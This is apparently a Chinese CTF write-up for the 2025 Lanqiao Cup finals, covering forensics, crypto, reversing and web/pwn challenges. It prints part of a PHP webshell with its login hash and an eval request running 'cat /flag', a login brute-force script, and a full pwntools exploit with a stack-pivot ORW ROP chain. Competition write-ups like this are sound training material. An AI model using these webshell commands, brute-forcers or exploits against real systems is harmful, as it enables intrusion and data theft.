前言

简介

今年是第三届蓝桥杯CTF,相⽐于以往两届,题⽬数量略微多了一点,并且解题人数也有所增加。

欢迎关注公众号【Real返璞归真】回复【蓝桥杯】,,获取【历年蓝桥杯CTF完整题解 + 题目附件 + WriteUp离线版】:

image-20250621143350477

解题情况

比赛结束前3分钟的解题情况:

image-20250621131433350
image-20250621131451626

被遗忘的题目是全场最少解的题(47解),比赛结束前1小时才陆续有人出解。除0解题目外,AK人数<47,但感觉AK的人不少。

获奖情况分析:

  • 签到题没以往简单所以不好评估参赛总人数
  • 国一应该得ak的快才行(做最后一道被遗忘的题目快)
  • 国二预估差1-3个题目ak比较有希望(差3个题目的话需要做出来解少的题目)

情报收集

被遗忘的

image-20250621131238868

这个题目没有做,临近结束1个小时左右陆续有人解出来。

赛后找朋友要了下解题方法,但没办法去复现了,这里贴出来仅供参考。

先泄露xx.php

<?php
error_reporting(7);
// @set_magic_quotes_runtime(0);
ob_start();
$mtime = explode(' ', microtime());
$starttime = $mtime[1] + $mtime[0];
define('SA_ROOT', str_replace('\''/', dirname(__FILE__)).'/');
define('IS_WIN', DIRECTORY_SEPARATOR == '\');
define('IS_COM', class_exists('COM') ? 1 : 0 );
define('IS_GPC', get_magic_quotes_gpc());
$dis_func = get_cfg_var('disable_functions');
// define('IS_PHPINFO', (!eregi('phpinfo',$dis_func)) ? 1 : 0 );
define('IS_PHPINFO'1);
@set_time_limit(0);

foreach($_POST as $key => $value) {
if (IS_GPC) {
  $value = s_array($value);
 }
 $$key = $value;
}
/*===================== 程序配置 =====================*/

// 如果需要密码验证,请修改登陆密码,留空为不需要验证
$pass  = '828193099115dcaa67805a0776785b3a'

//如您对 cookie 作用范围有特殊要求, 或登录不正常, 请修改下面变量, 否则请保持默认
// cookie 前缀
$cookiepre = '';
// cookie 作用域
$cookiedomain = '';
// cookie 作用路径
$cookiepath = '/';
// cookie 有效期
$cookielife = 86400;

//程序搜索可写文件的类型
!$writabledb && $writabledb = 'php,cgi,pl,asp,inc,js,html,htm,jsp';
/*===================== 配置结束 =====================*/

$charsetdb = array('','armscii8','ascii','big5','binary','cp1250','cp1251','cp1256','cp1257','cp850','cp852','cp866','cp932','dec8','euc-jp','euc-kr','gb2312','gbk','geostd8','greek','hebrew','hp8','keybcs2','koi8r','koi8u','latin1','latin2','latin5','latin7','macce','macroman','sjis','swe7','tis620','ucs2','ujis','utf8');
if ($charset == 'utf8') {
 header('content-Type: text/html; charset=utf-8');
elseif ($charset == 'big5') {
 header('content-Type: text/html; charset=big5');
elseif ($charset == 'gbk') {
 header('content-Type: text/html; charset=gbk');
elseif ($charset == 'latin1') {
 header('content-Type: text/html; charset=iso-8859-2');
elseif ($charset == 'euc-kr') {
 header('content-Type: text/html; charset=euc-kr');
elseif ($charset == 'euc-jp') {
 header('content-Type: text/html; charset=euc-jp');
}

$self = $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME'];
$timestamp = time();

/*===================== 身份验证 =====================*/
if ($action == 'logout') {
 scookie('loginpass'''-86400 * 365);
 @header('Location: '.$self);
exit;
}
if($pass) {
if ($action == 'login') {
if ($pass == encode_pass($password)) {
   scookie('loginpass',encode_pass($password));
   @header('Location: '.$self);
   exit;
  }
 }
if ($_COOKIE['loginpass']) {
if ($_COOKIE['loginpass'] != $pass) {
   loginpage();
  }
 } else {
  loginpage();
 }
}
/*===================== 验证结束 =====================*/

// PHP代码太长,放到附件中了,感兴趣可以查看。
// PHP代码太长,放到附件中了,感兴趣可以查看。
// PHP代码太长,放到附件中了,感兴趣可以查看。
// PHP代码太长,放到附件中了,感兴趣可以查看。
// PHP代码太长,放到附件中了,感兴趣可以查看。
// PHP代码太长,放到附件中了,感兴趣可以查看。
// PHP代码太长,放到附件中了,感兴趣可以查看。
// PHP代码太长,放到附件中了,感兴趣可以查看。
// PHP代码太长,放到附件中了,感兴趣可以查看。
// PHP代码太长,放到附件中了,感兴趣可以查看。

根据代码逻辑,以post方式访问http://url/xx.php

携带请求体:action=eval&phpcode=system(‘cat /flag’)

携带Cookie:loginpass=828193099115dcaa67805a0776785b3a

具体细节可以自行研究,这里就不去复现了。

数据分析

server_logs

image-20250621132323524

如果部署本地大模型的话,直接把日志丢给大模型进行检索比较快。

auth.log中发现:

Jun 15 02:30:15 server sshd[5678]: Accepted password for attacker from 192.168.42.77 port 1337

SSH 用户名attacker

攻击者 IP192.168.42.77

syslog中发现:

Jun 15 02:35:15 server systemd[1]: Started hidden_backdoor.service
Jun 15 02:35:15 server hidden_backdoor: listening on [any] 31337 ...

恶意服务名称hidden_backdoor(不包括 .service 后缀)

dnsmasq.log中发现:

Jun 15 02:40:15 dnsmasq[123]: query[A] CiAgICByb290Oio6MTk0Nzk6MDo5OTk5OTo3Ojo6.data.leak.ev from 192.168.42.77
Jun 15 02:40:17 dnsmasq[123]: query[A] CmRhZW1vbjoqOjE5NDc5OjA6OTk5OTk6Nzo6Ogph.data.leak.ev from 192.168.42.77
Jun 15 02:40:19 dnsmasq[123]: query[A] dHRhY2tlcjokNiRzZWNyZXQkZW5jcnlwdGVkcGFz.data.leak.ev from 192.168.42.77
Jun 15 02:40:21 dnsmasq[123]: query[A] c3dvcmQ6MTk0Nzk6MDo5OTk5OTo3Ojo6CiAgICA.data.leak.ev from 192.168.42.77

DNS 域名固定部分data.leak.ev

按照题目要求进行组合得到最终flag为flag{attacker_192.168.42.77_hidden_backdoor_data.leak.ev}。

flowzip2

流量分析题,分析HTTP流量,Wireshark打开流量包发现下载了200个.zip压缩包:

image-20250621143702240

选择菜单栏【File → Export Objects → HTTP…】将文件全部保存:

image-20250621143857536

打开压缩包:

image-20250621145416921

发现提示是一个正则表达式d{3},也就是3位数字。

使用ARCHPR爆破一个压缩包,发现密码确实是3位数字,但是文本内容是乱码。

只能考虑编写python脚本,批量爆破解压出文本内容。

使用传统压缩算法爆破:

import zipfile
import os

zip_dir = 'zip'
passwords = [f'{i:03d}'for i in range(1000)]

for i in range(200):
    zip_path = os.path.join(zip_dir, f'{i:03d}.zip')
    print(f'正在处理: {zip_path}')

    for pwd in passwords:
        try:
            with zipfile.ZipFile(zip_path) as zf:
                file_list = zf.namelist()

                target_file = file_list[0]

                with zf.open(target_file, pwd=bytes(pwd, 'utf-8')) as f:
                    content = f.read().decode('utf-8')
                    print(f'[+] 解压成功: {zip_path} 密码: {pwd}')
                    print(f'文件内容: n{content}n')
                    break
        except Exception:
            continue

    else:
        print(f'[-] 未找到正确密码: {zip_path}n')

zipfile库只支持传统加密(ZipCrypto),运行后发现密码错误。

猜测压缩包可能是AES加密,zipfile库无法正确解压,必须用pyzipper

这个题目同pyc反编译的逆向题一样坑,如果提前没有安装这个库,就没办法写脚本批量爆破了,只能一个一个用工具爆破。

(或者可能有别的更好用的现成脚本)

最终脚本如下所示:

import pyzipper
import os

zip_dir = 'zip'
passwords = [f'{i:03d}'for i in range(1000)]

for i in range(200):
    zip_path = os.path.join(zip_dir, f'{i:03d}.zip')
    found = False

    for pwd in passwords:
        try:
            with pyzipper.AESZipFile(zip_path) as zf:
                zf.pwd = bytes(pwd, 'utf-8')
                file_list = zf.namelist()

                ifnot file_list:
                    continue

                target_file = file_list[0]
                content = zf.read(target_file).decode('utf-8').strip()

                print(f'{i:03d}.zip {pwd} {content}')
                found = True
                break

        except Exception:
            continue

    ifnot found:
        print(f'{i:03d}.zip 未找到正确密码')

运行脚本,其中一个压缩包的文本是flag:

image-20250621145331567

密码破解

xxtea

image-20250621141643144

这题应该对应往年的Cyberchef签到题,但对没接触过逆向和密码学的来说还是难点,因为xxtea加密后取了hex。

image-20250621141742736

打开发现逻辑很简单,XXTEA解密后执行hexdump。还原也很简单,保留十六进制:

9e450282ea25d2620d06e7b45fdc62bd3968472654509e264c86062e2baf3b8b7ce4990dad12e27e46c90029a6ea1fb0aec1da30f398948233fd99d3d3b9a012d9dea5d20e95f3a5bbf2f991b2a3c294b11cb7eb8765d70e0c6bd5654de1431ebeb43471b553d4ea624eb980f36ff05c597558529ea4ece235b7d868

然后使用Cyberchef逆回去即可(From Hex -> XXTEA Decrypt):

image-20250621141928662

fastcoll

image-20250621141515639

进入靶机后提供一个工具,然后提示我们需要提交2个不同文件的Base64编码,要求这两个文件内容以gamelab为前缀。

运行fastcoll工具查看说明文档:

C:UsersSimplicityDesktop>fastcoll_v1.0.0.5.exe
MD5 collision generator v1.5
by Marc Stevens (http://www.win./hashclash/)

Allowed options:
  -h [ --help ]           Show options.
  -q [ --quiet ]          Be less verbose.
  -i [ --ihv ] arg        Use specified initial value. Default is MD5 initial
                          value.
  -p [ --prefixfile ] arg Calculate initial value using given prefixfile. Also
                          copies data to output files.
  -o [ --out ] arg        Set output filenames. This must be the last option
                          and exactly 2 filenames must be specified.
                          Default: -o msg1.bin msg2.bin

-p参数用于指定文件数据的前缀,-o用于生成2个哈希值相等的不同文件。

创建tmp.txt文件,写入gamelab,然后使用fastcoll工具生成:

fastcoll_v1.0.0.5.exe -p tmp.txt -o msg1.bin msg2.bin

使用Cyberchef取生成的两个文件的Base64值提交到靶机即可得到Flag。

qppq

image-20250621141228821

连接靶机给出n、e、c和param1,可以发现param1 = p + q

利用欧拉函数的性质:

ϕ(n)=(p−1)(q−1)=n+1−(p+q)=n+1−param1

后续就是正常的RSA解密:

import gmpy2
from Crypto.Util.number import *


n = 
e = 
ciphertext = []
param1 = 

phi = n + 1 - param1
d = gmpy2.invert(e, phi)
m = pow(ciphertext[0], d, n)
print(long_to_bytes(m))

逆向分析

encodefile

image-20250621135512738

连续3年出的RC4题目,拖入IDA分析,没有main函数。

考虑从字符串下手:

image-20250621135608643

根据flag.txt定位到关键代码:

image-20250621135653562

找到key和两个文件名,逻辑显示是通过key加密flag.txt数据后存储到enc.dat

我们直接追踪key的数据流即可,发现有两个函数用到key。

第一个函数很明显,两轮255次循环,打乱密钥盒,可以识别出是RC4算法:

image-20250621135810805

尝试使用RC4模板对密文进行解密:

def rc4_decrypt(key, ciphertext):
    '''
    RC4 解密函数
2025年第十六届蓝桥杯CTF网络安全总决赛题解WriteUp(附所有题目附件)
    :param key: 密钥(bytes)
    :param ciphertext: 密文(bytes)
    :return: 解密后的明文(bytes)
    '''

    # RC4 密钥调度算法(KSA)
    S = list(range(256))
    j = 0
    for i in range(256):
        j = (j + S[i] + key[i % len(key)]) % 256
        S[i], S[j] = S[j], S[i]

    # 伪随机生成算法(PRGA)解密
    i = j = 0
    plaintext = []
    for byte in ciphertext:
        i = (i + 1) % 256
        j = (j + S[i]) % 256
        S[i], S[j] = S[j], S[i]
        k = S[(S[i] + S[j]) % 256]
        plaintext.append(byte ^ k)

    return bytes(plaintext)

with open('enc.dat''rb'as f:
    ciphertext = f.read()

key = b'key2025lqb'

plaintext = rc4_decrypt(key, ciphertext)

print('Decrypted Data (Hex):', plaintext.hex())
try:
    print('Decrypted Text:', plaintext.decode('utf-8'))
except UnicodeDecodeError:
    print('Decrypted Data is not UTF-8 text.')

可以直接得到Flag,那就不需要继续后续分析了。

rand_pyc

断网环境出这种题目就比较离谱,如果你python版本太低或者太高就做不了。

这个题目需要使用python3.8或者相近的版本,否则会报错无法反编译。

先使用pyinstxtractor将exe反编译为pyc文件:

python pyinstxtractor.py ../rand_pyc_obf.exe
[+] Processing ../rand_pyc_obf.exe
[+] Pyinstaller version: 2.1+
[+] Python version: 3.8
[+] Length of package: 5579332 bytes
[+] Found 58 files in CArchive
[+] Beginning extraction...please standby
[+] Possible entry point: pyiboot01_bootstrap.pyc
[+] Possible entry point: rand_pyc_obf.pyc
[+] Found 74 files in PYZ archive
[+] Successfully extracted pyinstaller archive: ../rand_pyc_obf.exe

You can now use a python decompiler on the pyc files within the extracted directory

然后使用uncompyle6将pyc反编译为py源代码:

uncompyle6 rand_pyc_obf.pyc > decompiled.py
# uncompyle6 version 3.9.2
# Python bytecode version base 3.8.0 (3413)
# Decompiled from: Python 3.8.9 (tags/v3.8.9:a743f81, Apr  6 2021, 14:02:34) [MSC v.1928 64 bit (AMD64)]
# Embedded file name: rand_pyc_obf.py
import sys, random, base64
Ii = input('Please input the flag: ').strip()
ifnot (Ii.startswith('flag{'and Ii.endswith('}'and len(Ii) == 42):
    print('Length incorrect')
    sys.exit(-999)
oo0O000ooO = base64.b64encode(Ii.encode()).decode() + '_easyctf'
ii = []
for iiI in oo0O000ooO:
    random.seed(ord(iiI))
    ii.append(random.randint(10000009999999))
else:
    iii111 = [
     4417023569062596392251327718441702350855505752075
     9556690524008064316793428007318976634383365757818
     3189766569062541483892254831629243321221265240080
     6431679948827124646757216908575781831897665690625
     3438336643167923604756002055524008090402618655414
     9347278343833622548312122126513528123604759347278
     4417023132771834383363448715948827155016115240080
     5757818948827155016115240080934727841483891714134
     9923116426743842637935752075246467577776276002055
     3485900]
    Iio0 = []
    for iiI in oo0O000ooO:
        random.seed(ord(iiI))
        Iio0.append(random.randint(10000009999999))
    else:
        if Iio0 != iii111:
            print('Wrong flag')
            sys.exit(-1)
        print('Correct!')

# okay decompiling rand_pyc_obf.pyc

检查输入Flag的Base64编码拼接’_easyctf’后,每个字符作为随机种子生成的数字是否匹配预设的列表。

编写脚本爆破并重排序回去得到flag:

import random
import base64

iii111 = [4417023569062596392251327718441702350855505752075955669052400806431679342800731897663438336575781831897665690625414838922548316292433212212652400806431679948827124646757216908575781831897665690625343833664316792360475600205552400809040261865541493472783438336225483121221265135281236047593472784417023132771834383363448715948827155016115240080575781894882715501611524008093472784148389171413499231164267438426379357520752464675777762760020553485900]

char_map = {}
for c in range(128):
    random.seed(c)
    char_map[random.randint(10000009999999)] = chr(c)

b64_str = ''.join([char_map[num] for num in iii111])[:-8]
flag = base64.b64decode(b64_str).decode()
print(flag)

漏洞挖掘分析

弱口令

image-20250621134642644

靶机题目,无附件。

打开是一个登录页面,并且给我们了一个测试账号密码。

在主页面查看源代码发现:

<!-- 隐藏的线索,通过查看源代码或开发者工具可以发现 -->
<div class='debug-note'>
    <!-- 注意:这段代码仅用于调试,不应该在生产环境中显示 -->
    <!-- 管理员用户ID: 1 -->
    <!-- 似乎/user和/sensitive页面存在IDOR漏洞 -->
    <!-- 尝试通过API端点获取更多信息: /api/users 和 /api/sensitive/1 -->
</div>

<script>
    // 这段JavaScript代码不会执行,但是通过查看源代码可以发现
    // fetch('/api/users')
    //   .then(response => response.json())
    //   .then(data => console.log(data));

    // fetch('/api/sensitive/1')
    //   .then(response => response.json())
    //   .then(data => console.log(data));

但是访问这两个接口把ID改为1后提示权限不足,查看Cookie后想伪造jwt但不知道secret。

进入个人中心发现有一个程序员日记:

2号用户的个人笔记

现象观察:部分用户设置密码时,会采用“用户名+4位数字”的组合形式(例如用户名为 “user”,密码可能设为 “user1234”)。

潜在风险:

+ 关联性过强:密码直接基于用户名延伸,若用户名泄露,攻击者可快速锁定密码结构,大幅缩小暴力破解范围。

+ 数字规律易猜:4 位数字常为生日、年份、连续数字(如 “1234”)或简单重复组合(如 “5656”),安全性极低。

+ 缺乏复杂度:此类密码未包含字母大小写、特殊符号等元素,无法满足现代系统对密码强度的基本要求。

创建时间: 2025-06-20 11:14:06

根据提示,尝试用户名为admin,密码为adminxxxx进行爆破(Burpsuite或Python脚本)。

import requests

url = ''
username = 'admin'

for num in range(010000):
    password = f'{username}{num:04d}'
    data = {'username': username, 'password': password}

    r = requests.post(url, data=data)

    if'错误'notin r.text:
        print(num)
        break
    else:
        print(f'尝试: {password}失败')

成功爆破出密码为admin0621(刚好是比赛当天的日期,也可以猜测得到),登录后在个人中心找到flag即可。

星际xml解析器2

image-20250621135000757

0解题目,没有去看。

open_sesame

经典32位模板题目,逻辑很简单:

image-20250621135116568

存在栈溢出漏洞,可以考虑ret2libc,但是题目开启沙箱保护:

image-20250621135150324

查看后发现禁用系统调用execve,只能考虑orw。由于溢出空间比较小且题目没有给出flag字符串,需要栈迁移。

第一次栈溢出先通过puts函数泄露libc,然后返回main函数。

第二次栈溢出迁移到bss段执行orw操作(需要借助gadget平栈)。

完整exp如下所示:

from pwn import *

elf = ELF('./open_sesame')
libc = ELF('./libc.so.6')
p = process([elf.path])

context(arch=elf.arch, os=elf.os)
context.log_level = 'debug'

main = elf.symbols['main']
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']

# leak libc
payload = b'a' * 0x48 + p32(0) + p32(puts_plt) + p32(main) + p32(puts_got)
p.sendafter(b'code:n', payload)
libc_base = u32(p.recvuntil(b'xf7')[-4:].ljust(4b'x00')) - libc.sym['puts']
libc.address = libc_base
success('libc_base = ' + hex(libc_base))

# stack_pivot + ret2orw
bss_addr = elf.bss()
leave_ret = 0x08049165
open_addr = libc.sym['open']
read_addr = libc.sym['read']
write_addr = libc.sym['write']

rw_mem = bss_addr
buf_addr = rw_mem + 0x100

payload = b'a' * 0x48
payload += p32(rw_mem - 4)
payload += p32(elf.plt['read'])
payload += p32(next(elf.search(asm('leave; ret;'), executable=True)))
payload += p32(0)
payload += p32(rw_mem)
payload += p32(0x200)

gdb.attach(p, 'b *0x80492EDnc')
pause()

p.sendafter(b'code:n', payload)

rop = b''

# open('./flag', 0)
rop += p32(libc.symbols['open'])
rop += p32(next(libc.search(asm('pop ebx; pop esi; ret'))))          # 返回地址,清理参数
rop += p32(buf_addr)             # 参数1 pathname 地址
rop += p32(0)                   # 参数2 flags O_RDONLY

# read(fd=3, buf_addr, 0x100)
rop += p32(libc.symbols['read'])
rop += p32(next(libc.search(asm('pop ebx; pop esi; pop edi; ret'))))             # 返回地址,清理参数
rop += p32(3)                   # fd
rop += p32(buf_addr)            # buf
rop += p32(0x100)               # size

# write(fd=1, buf_addr, 0x100)
rop += p32(libc.symbols['write'])
rop += p32(next(libc.search(asm('pop ebx; pop esi; pop edi; ret'))))             # 返回地址,清理参数
rop += p32(1)                   # fd stdout
rop += p32(buf_addr)            # buf
rop += p32(0x100)               # size

rop = rop.ljust(0x100b'x00')
rop += b'./flagx00'
p.send(rop)
# gdb.attach(p)

p.interactive()

数据库安全

和前几年一样,几乎年年0解,没有去看。

java数据库组件安全

image-20250621135400267

java数据库组件安全的测试

image-20250621135418938